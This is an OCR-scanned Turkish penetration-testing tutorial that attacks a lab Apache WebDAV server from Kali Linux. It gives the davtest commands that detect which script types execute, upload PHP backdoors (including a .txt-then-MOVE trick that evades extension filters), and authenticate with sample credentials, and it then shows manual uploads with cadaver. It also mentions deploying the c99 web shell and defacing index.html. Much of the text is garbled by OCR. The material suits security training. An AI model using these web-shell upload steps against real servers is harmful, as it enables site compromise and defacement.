Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest. dHRSZQhI.php

# Yani hedef sunucuda ¢alisabilen betik dilleri su sekildeymis:

Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhI.html
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.php



O halde hedef web sunucuda desteklenen betik dili php olduguna gére bir php backdoor'unu
(simdilik ici bos olsun) hedef apache sunucusuna WebDav servisi tizerinden upload'layalim.

Kali Linux 2018 Terminal:

> cd /root
> touch backdoor.php

( yeni kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc backdoor.php -url http://172.16.3.
72/webdav

(‘eski kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

Output:

Sk 3k ok 3k 3¢ 3 e s Sk Sk Sk ok ok ke ke e e s Sk Sk S Sk ok sk ke ke e s S sk Sk Sk ok ok sk ke ke e s sk sk Sk sk ok ok ke ke ke e sfe sk sk sk sk sk ok

Testing DAV connection

OPEN SUCCEED: http://172.16.3.72/webdav

Sk sk st st st sfe sfe sfe s ke Sk ok ok sk st sfe sfe she she s Sk Sk ok sk st st sfe sfe she she ke Sk ok ok sk sk sfe sfe sfe she s ke Sk ok ok sk st sfe sfe sfe se sk Sk sk sk ok
unless Uploading file

Upload succeeded: http://172.16.3.72/webdav/backdoor.php

Goriildiigii tizere Kali Linux 2018'deki /root/backdoor.php dosyasi hedef WebDav servisinde
bulunulan dizine (yani kok dizine) upload'lanmistir. Ubuntu 14.04 LTS apache sunucusundaki
WebDav servisinin kok dizinine bakacak olursak backdoor.php'yi gorebiliriz.

Ubuntu 14.04 LTS WebDav Dizini:



Index of /webdav - Chromium
[4 Index of fwebdav  x

&« =2 C | @ localhost/webc

B

=] Index of /webdav

2
o)
5

&
N7
E

Name Last modified Size Description

3 Parent Directory -
ﬁ] DavTestDir ZShXqBOTylgsIVY/ 2018-03-08 13:53 -
@ backdoor.php 2018-03-08 14:01 10

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

Boylece hedef web sunucusundaki backdoor'a eriserek web sitesini hack'leyebiliriz.

Not: c99.php dosyasi upload'lanmistir ve arayiizden “Go to Directory” béliimii ile bir {ist dizine
gecilmistir. Ardindan “Make File” boliimii ile index.html dosyas1 olusturulup icine Hacked By Bla
Bla yazilmistir. Boylece localhost sunucusu hack'lenmistir.

=> DavTest Tool'u icinde Yiiklii Olan Backdoor'lar1 Upload'lama

Davtest tool'u icinde yiiklii backdoor'lar1 upload'lamak icin 6nce desteklenen betik dillerini
saptamaya ihtiyac yoktur. Ciinkii bu islemi davtest tool'u bizim yerimize yapip desteklenen dile
gore icinde yer alan uygun backdoor'u karsi sisteme upload'lamaktadir.

Kali Linux 2018 Terminal:

> davtest -sendbd auto -url http://172.16.3.72/webdav

Output:

St 3fe ok sfe >k ok sfe ok sfe she ok sk >k sk sfe ok sfe sk sk she ok Sk sfe ok she sk ok she ok sk sfe e she ke sk sfe ok sfe sk ol sfe ok sk sk ok she ke s sfe ok sfe sk sk sk sk ke

Testing DAV connection
OPEN SUCCEED: http://172.16.3.72/webdav

St sfe ok sfe > ol sfe ok sfe sfe o sfe > sk sfe ok Sfe >fe ok sfe sk Sfe sfe e Sfe s ok sfe s Sfe sfe e sfe e Sk sfe o sfe e ol sfe s sfe sfe ok sfe sfe sk sfe ok sfe sfe sk sfe e sk

NOTE Random string for this session: 6IxFLDuff

¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ek

Creating directory
MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir_6IxFLDuff

sk 3k 3 ok ok 3 sk ok sk sk sk ok sk sk sk ok sk sk ke ok sk sk ke ok sk she Sk sk sk sk sk sk sk sk ok sk sk sk ok sk s sk ok sk she sk sk sk sk sk sk sk ske sk sk ok

Sending test files

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IXFLDuff.txt
PUT jhtml SUCCEED:
http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jhtml

PUT  jsp SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jsp



PUT php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
PUT shtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.shtml
PUT  asp SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.asp
PUT html SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html
PUT aspx  SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.aspx
PUT pl SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.pl
PUT  cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cgi
PUT cfm SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cfm

¥ ¥ ¥ ¥ ¥ ¥ b b b ek

Checking for test file execution

EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt
EXEC jhtml FAIL

EXEC jsp FAIL

EXEC php SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
EXEC shtml FAIL

EXEC asp FAIL

EXEC html SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html
EXEC aspx  FAIL

EXEC pl FAIL

EXEC cgi FAIL

EXEC cfm FAIL

Sk 3k 3k sk sfe sfe sfe sfe s sfe sk sk sk ok ok Sk Sk sk she sfe sfe sfe s sk sk sk ok ok Sk Sk Sk Sk she sfe sfe sfe sfe sk sk sk ok ok ok sk sk sk sfe sfe sfe sk sk sk sk sk sk ok

Sending backdoors

** ERROR: Unable to find a backdoor for txt **

PUT Shell: php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff_php_backdoor.php
PUT Shell: php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff php_cmd.php

** ERROR: Unable to find a backdoor for html **

St sfe ok sfe > ok sfe ok sfe sfe ok sfe s s sfe ok sfe s ok sfe sk Sfe sfe e sfe s ok sfe s Sfe sfe ke sfe e Sk sfe ke sfe s ol sfe e sfe sfe ok sfe e sk sfe ok sfe sfe sk sfe s sk

/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jhtml

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jsp

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IXFLDuff.shtml

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IXxFLDuff.asp

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.aspx

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.pl

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cgi

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cfm
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IXxFLDuff.html

PUT Shell: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/6IxXFLDuff php_backdoor.php
PUT Shell: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/6IxXFLDuff php_cmd.php

Ciktidan goriilebilecegi tizere 6nce klasor olusturulmustur ve matematiksel islem iceren tiim test
betik dosyalar1 bu klasore sirasiyla upload'lanmistir. Ardindan matematiksel islemi hesaplayan betik
dosyalari tespit edilmistir ve boylece desteklenen betik dilleri saptanmistir. Bunun {izerine davtest
tool'u son olarak kendinde tamimli1 backdoor dosyalarindan desteklenen dile ait olanlar1 (php
backdoor'larini) karsi sisteme upload'lamistir.



Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav/DavTestDir_6IxFLDuff - Chromium

[ Index of fwebdav,/’ x
< C | @ localhost

Index of /webdav/DavTestDir_ 6IxFLDuff

Name

a Parent Directory,

& Ubuntu Pastebin

Last modified Size Description

2018-03-08 14:11 328

[?] 6LxFLDuff_php_backdoor.php 2018-03-08 14:11 3.1K Davtest tool'unun
Kendinde Taniml

[?) 6IXFLDuff_php_cmd.php
@ davtest 6IxFLDuff.asp
@ davtest 6IxFLDuff.aspx
@ davtest 6IxFLDuff.cfm
@ davtest 6IxFLDuff.cgi
davtest 6IxFL Duff.html
[#) daviest_ 6IxFLDuff jhiml
[?) davtest_6IxFLDuff.jsp
@ davtest 6IxFLDuff.php
davtest 6IxFLDuff.pl
davtest 6IxFL Duff.shtml
davtest 6IxFL Duff.txt

2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11
2018-03-08 14:11

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

PHP Backdoor'lari
44

44
42
66
26

37 Matematiksel islem
37 Tasiyan Test Betik

94 Dosyalari

66
178
19

=> DavTest Tool'u Iginde Yiikii Olan Backdoor'lar1 Txt Olarak Upload'lama ve Sonra Galigabilir

Hale Getirme

Davtest tool'u ile hedef web sunucusuna WebDav servisi tizerinden dosya upload'larken giivenlik
mekanizmalarina takilabiliriz. Ornegin giivenlik mekanizmasi php, asp, aspx, jsp gibi script uzantili
dosyalarin upload'lanmasini engelleyebilir. Fakat 6rnegin txt uzantili dosyalara gecit verebilir. Bu
durumda -move parametresi ile davtest tool'u betik dosyalarini txt olarak upload'lar, sonra hedef
sisteme yerlesen txt dosyalarini move komutu ile ilgili uzantiya doniistiirebilir. Boylece hedef
sisteme calisabilir betik dosyalar1 upload'layabiliriz. Asagida bunun bir uygulamasi

gosterilmektedir.

Kali Linux 2018 Terminal:

> davtest -move -sendbd auto -url http://172.16.3.72/webdav

Output:

b b b b b

Testing DAV connection
OPEN SUCCEED:

¥ ¥ ¥ ¥ ¥

http://172.16.3.72/webdav

¥ ¥

¥ kK

NOTE Random string for this session: wu8KmbMfelWoV

S 3k ok sfe >k o sfe ok sfe sk ok sk ok sk sk ok sk sk s she ok sk sk ok she sk ol sfe ok sk sk ke sfe ke sk sfe ok she sk ol she sk st sk ok she sk s sk ok sfe sk sk ske sk ok

Creating directory
MKCOL SUCCEED:

Created http://172.16.3.72/webdav/DavTestDir_MfelWoV

b b b b b

Sending test files (MOVE method)

b b

b ek



PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV_txt.txt

MOVE txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eI[WoV/davtest_eIWoV.txt

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV_jhtml.txt

MOVE jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIlWoV.jhtml

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV_cgi.txt

MOVE cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIlWoV.cgi

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV_cfm.txt

MOVE cfm SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.cfm

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eI[WoV/davtest_eIWoV_jsp.txt

MOVE jsp SUCCEED: http://172.16.3.72/webdav/DavTestDir_eI[WoV/davtest_eIWoV.jsp

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV_html.txt

MOVE html SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV.html

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV_pl.txt

MOVE pl SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_eIlWoV.pl

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV_shtml.txt

MOVE shtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.shtml

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV_aspx.txt

MOVE aspx  SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV.aspx

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV_php.txt

MOVE php SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIlWoV.php

PUT  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV_asp.txt

MOVE asp SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_eIWoV.asp

Sk 3k 3k sk 3fe sfe sfe sfe she sk sk sk ok ok Sk Sk Sl sk sk sk she sk sk sk sk sk ok Sk Sk ke s sk she she sfe st sk sk sk sk sk ok ke sk sk sk sk sfe sk sk sk sk sk sk sk ok

Checking for test file execution

EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV txt

EXEC jhtml FAIL

EXEC cgi FAIL

EXEC cfm FAIL

EXEC jsp FAIL

EXEC html SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.html

EXEC pl FAIL

EXEC shtml FAIL

EXEC aspx  FAIL

EXEC php SUCCEED: http://172.16.3.72/webdav/DavTestDir_eI[WoV/davtest_eIWoV.php

EXEC asp FAIL

S sk ok she sfe ok sk ok sk sk ok she sk ke sfe ok sk sk ok she sk sk sfe sk she sk Sk sfe sk She sk ok she sk e sfe sk She sk ok she sk S sk ok she sk Sk she sk ke sk sk e sk sk

Sending backdoors

** ERROR: Unable to find a backdoor for txt **

** ERROR: Unable to find a backdoor for html **

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eI[WoV
php_backdoor_php.txt

MOVE Shell: php SUCCEED: http://172.16.3.72/webdav/DavTestDir_eI[WoV/php_backdoor.php

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_eIWoV/wu8KmbMfelWoVphp_cmd_php.txt

MOVE Shell: php SUCCEED: http://172.16.3.72/webdav/DavTestDir_ wu8KmbMfeIWoV/php_cmd.php
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/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV

MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV.txt
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_wu8KmbMfeIWoV .jhtml
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV cgi
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIlWoV.cfm
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.jsp
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eI[WoV.html
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.pl
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.shtml
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eI[WoV.aspx
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_elWoV.php
MOVE/PUT File: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.asp
Executes: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eIWoV.txt
Executes: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eI[WoV.html
Executes: http://172.16.3.72/webdav/DavTestDir_eIWoV/davtest_eI[WoV.php



MOVE/PUT Shell: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_eIWoV/php_backdoor.php
MOVE/PUT Shell: http://172.16.3.72/webdav/DavTestDir_eIlWoV/davtest_eIWoV/php_cmd.php

(Giktidan goriilebilecegi iizere oncelikle kars: sistemde klasor olusturulmustur ve icine matematiksel
islem tasiyan tiim test betik dosyalar txt formatinda uploadlanmigtir. Daha sonra yine sirasiyla
MOVE komutu ile txt uzantili dosyalar uygun betik uzantisina doniistiiriilmiislerdir. Ardindan
matematiksel islemi hesaplayabilen betik dosyalar tespit edilmistir ve hedef sunucuda desteklenen
betik dili 6grenilmistir. Son olarak desteklenen betik diline uygun davtest tool'unda yer alan
backdoor dosyalar yine txt formatinda génderilip ardindan uygun betik uzantisina doniistiiriilerek
sunucuya yerlestirilmistir.

Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav/DavTestDir_VUSBcAiixX - Chromium
&) Ubuntu Pasktebin

[ Index of /webdav x

& (&

Index of /'webdav/DavTestDir_ VUS8cAiixX

@ localhost Tr

Name Last modified Size Description

3 Parent Directory.

@ davtest VUScAiixX.asp 2018-03-08 14:38 44

@ davtest VUScAiixX.aspx 2018-03-08 14:38 44

@ davtest VUBcAjixX.cfm 2018-03-08 14:38 42

@ davtest VU8cAiixX.cgi 2018-03-08 14:38 66

daviest VUBcAiixX.html 2018-03-08 14:28 26 txt olarak upload'lanan

@ davtest VU8cAiixX. jhtml 2018-03-08 14:38 37 V? sonra -I-IgIII uzantly?
Rt oniistiiriilen test betik

@ davtest VUScAiixX.jsp 2018-03-08 14:38 37 dosyalarl

@ davtest VUScAiixX.php 2018-03-08 14:38 24

davtest VU8cAiixX.pl 2018-03-08 14:38 66

davtest VU8cAiixX.shtml 2018-03-08 14:38 178

davtest VUSBcAiixX. txt 2018-03-08 14:38 19 txt olarak upload'lanan ve

@ php_backdoor.php

[#] php_cmd.php

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

2018-03-08 14:38 3.1K
2018-02-08 14:38 328

sonra ilgili uzantiya
donistiiriilen backdoor
dosyalari

3

Uyan

Eger WebDav servisinde digest authentication aktifse erigim kullanic1 ad1 ve sifre ile
gercekleseceginden davtest tool'unu auth parametresi ile kullanmamiz gerekmektedir. Hedef apache
sunucusundaki WebDav servisinde digest authentication aktifken hedef webdav servisini davtest ile

denetleyelim.

Kali Linux 2018 Terminal:

> davtest -url http://172.16.3.72/webdav/

Not:

[Once auth parametresiz deneme]

IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu

sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim i¢in Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.



Output:

St sfe sfe sfe sfe ok Sfe sfe sfe sfe sk e sfe sfe sfe sfe ok S sfe sfe sfe sfe ok S sfe sfe sfe sf¢ ke S sfe sfe sfe sk e Sfe sfe sfe sfe ok S sfe sfe sfe sfe ok S sfe sfe sfe s Sk e sfe sfe sk

Testing DAV connection

OPEN

FAIL: http://172.16.3.72/webdav ~ Unauthorized. Digest realm="webdav",

nonce="Ea/k5SPhmBQA=b3c4793da291c348d1e2699e10e9b606536344a8",
algorithm=MD5, qop="auth"

Goriildiigii tizere cikti hedef WebDav servisinin yetkilendirme istedigini soyliiyor. Simdi auth
parametresi ile hedef WebDav servisine erismeye ve test etmeye caligalim:

Kali Linux 2018 Terminal: [auth parametreli deneme]

> davtest -auth alex:alex -url http://172.16.3.72/webdav/

Not:

Not2 :

Not3 :

IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu
sirasinda belirlenmis WebDav servisinin kok dizinidir.

Hedef IP adresinin localhost'una erisim icin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.

alex:alex'deki birincisi kullanic1 adidir, ikincisi sifredir.

Output:

skokok ok * * * * * * * *

Testing DAV connection
OPEN SUCCEED: http://172.16.3.72/webdav

3k sfe >k o sfe ok sfe sfe ok she ok sk sk ok sfe sk sk she ok sk sfe ke she sk Sl sfe ok she sk ke sfe sk sk sfe ok she ke sl she ok sk sk o she ok st sk ok sfe sk sk sk sk ske sk ok

NOTE Random string for this session: XLWMPQOx

sk sk sk ok Sk ke sk s sfe she she s sk sk sk sk sk ok Sk Sk S sk sk she she she she sk sk sk sk sk ok Sk Sk sk sk she sfe she sk sk sk sk sk sk ok ok Sk sk s sk s ske sk sk

Creating directory

MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir

skokok ok * * * * * * * *

Sending test files
PUT aspx SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.aspx
PUT html SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.html
PUT pl SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.pl
PUT  cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.cgi
PUT  jsp SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOX.jsp
PUT asp SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.asp
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.txt
PUT shtml SUCCEED:

http://172.16.3.72/webdav/DavTestDi/davtest XLWMPQOx.shtml

PUT cfm SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.cfm
PUT jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDi/davtest_ XLWMPQOx.jhtml
PUT  php SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.php
sk sk ok ok Sk ke Sk sfe 3fe she sfe s sk sk sk sk ok ok Sk Sk Sk Sk sk she she she s she sk sk sk ok ok Sk sk sk sk sk st she sfe sk sk sk sk ok ok Sk Sk sk s sk s ske sk sk

Checking for test file execution

EXEC aspx  FAIL

EXEC html SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.html
EXEC pl FAIL

EXEC cgi FAIL

EXEC jsp FAIL

EXEC asp FAIL

EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOX.txt



EXEC shtml FAIL
EXEC cfm FAIL
EXEC jhtml FAIL
EXEC php SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.php
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/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx

PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest XLWMPQOx.aspx
PUT File: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.html
PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest_ XLWMPQOx.pl
PUT File: http://172.16.3.72/webdav/DavTestDir_ XL WMPQOx/davtest_ XLWMPQOxX.cgi
PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest_ XLWMPQOX.jsp
PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest XLWMPQOx.asp
PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest XLWMPQOx.txt
PUT File: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest_ XLWMPQOx.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.cfm
PUT File: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir XLWMPQOx/davtest XLWMPQOx.php
Executes: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest_ XLWMPQOx.html
Executes: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest_ XLWMPQOxX.txt
Executes: http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx/davtest XLWMPQOx.php

Gortldiigi tizere hedef WebDav servisine digest authentication methoduyla eristik ve testimizi
yapabildik.

Not: Kali (Eski) 'deki davtest bug'li. -auth ¢alismiyor ve unauthorized hatasi veriyor. Halbuki
yukaridaki davtest kullanimi Kali Linux 2018 'de denendiginde davtest sorunsuz ¢alisiyor. O
ylizden davtest'i Kali Linux 2018'de kullan.

Ekstra (( Cadaver Istemcisi ile WebDav Servisine Erisim ))

[+] Birebir denenmistir ve basariyla uygulanmistir.

Gereksinimler
- Kali Linux 2018 [Cadaver Istemcisi (tool'u)]
- Ubunu 14.04 LTS [Hedef Apache ve WebDav Servisi]

Davtest tool'unu hedef web sunucusundaki dosyalara erisim, sunucuya dosya upload'lama,
sunucudaki dosyalar1 degistirme gibi islemleri yapmak icin kullanmistik. Bu islemler hedef web
sunucusundaki WebDav servisinin yetenekleri dogrutusunda yapilabilmekteydi. Simdi bir WebDav
istemcisi olan cadaver ile bu islemleri daha temel diizeyde, yani manuel olarak yapalim. Yani bir
dosya upload'layacaksak PUT komutunu kullanalim, bir dosya uzantisin1 degistireceksek MOVE
komutunu kullanalim, bir dosya sileceksek DELETE komutunu kullanalim, vs...

Kali Linux 2018 Terminal:
> cadaver http://172.16.3.72/webdav

Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu



sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim icin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.

dav:/webdav/>
Goriildiigii tizere cadaver komutu sonrasi hedef WebDav servisine baglanti kurulmus ve WebDav
servisi komut satir1 ekrana gelmistir. Kullanilabilecek WebDav servisi komutlarini1 gérmek i¢cin help
komutunu kullanalim.

dav:/webdav/> help

Available commands:

Is cd pwd put get mget mput
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks version
checkin checkout uncheckout history label propnames chexec
propget propdel propset search set open close
echo quit unset led lls Ipwd logout
help describe about

Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye

Simdi cadaver istemcisi ile hedef apache sunucusuna (hedef WebDav servisine) WebDav
komutlarin1 deneyelim..
// Yerel sistemdeki /root/deneme.txt dosyasi uzak sisteme deneme.txt olarak upload'lanir.
dav:/webdav/ > put /root/deneme.txt deneme.txt [Dosya Upload'lama]

Uploading /root/deneme.txt to '/webdav/deneme.txt';
Progress: [ === === === >]100.0% of 10 bytes succeeded.

dav:/webdav/ > Is [Dosya Listeleme]
Listing collection '/webdav': succeeded.

deneme.txt 10 Mar 8 15:38
dav:/webdav/ > move deneme.txt deneme.php [Dosya Isimlendirme]
Moving '/webdav/deneme.txt' to '/webdav/deneme.php': succeeded.
dav:/webdav/ > Is

deneme.php 10 Mar 8 15:38

dav:/webdav/ > pwd [Bulunulan Dizin]



Current collection is 'http://172.16.3.72/webdav/' .

dav:/webdav/ > mkcol deneme [Klasor Olusturma]
Creating 'deneme' : succeeded.

dav:/webdav/ > cd deneme [Dizin Degistirme]
dav:/webdav/deneme/ > pwd
Current collection is 'http://172.16.3.72/webdav/deneme’.

dav:/webdav/deneme/ > cd..
dav:/webdav/ > rmcol deneme [Klasor Silme]

Deleting collection 'deneme': succeeded.
dav:/webdav/ > cat deneme.php

deneme123

// Uzak sistemdeki deneme.php yerel sistemdeki /root/Desktop'a deneme.php ismiyle iner.
dav:/webdav/ > get deneme.php /root/Desktop/deneme.php [Dosya Indirme]

Downloading '/webdav/deneme.php' to '/root/Desktop/deneme.php':
Progress: [==========================>] 100.0% of 10 bytes succeeded.

dav:/webdav/ > mkcol deneme
dav:/webdav/ > copy deneme.php deneme/ [Dosya Kopyalama]

Copying '/webdav/deneme.php' to '/webdav/deneme/deneme.php': succeeded.
dav:/webdav/ > cd deneme/
dav:/webdav/deneme/ > Is
Listing collection: '/webdav/deneme': succeeded.
deneme.php 10 Mar 8 15:58

Eger hedef sistemdeki WebDav dizini iistiine ¢ikarak sistemin derinliklerine gitmek istersek mevcut
durumda hatayla karsilasiriz.

dav:/webdav/deneme/ > cd ..
dav:/webdav/ > cd ..

Could not access / (not WebDAV-enabled?):
405 Method Not Allowed



dav:/webdav/ >

Eger hedef web hedef web sunucusu WebDav servisini yapilandirirken yanlis bir ayar yaparsa tist
dizine gikma sansimiz vardir. Ornegin apache'ye WebDav kurulumu sirasinda 000-default.conf
konfigurasyon dosyasinda su yapilandirma ayarlar1 yapilmisgti.

# Apache sunucundaki 000-default.conf konfigurasyon dosyasi acilir.
nano /etc/apache2/sites-available/000-default.conf

# 11k satira asagidaki ifade girilir.
DavLockDB /var/'www/DavLock

# Ardindan <VirtualHost> tag'lar1 arasina ise asagidaki ifadeler girilir.
Alias /webdav /var/'www/webdav
<Directory /var/www/webdav>
DAV On
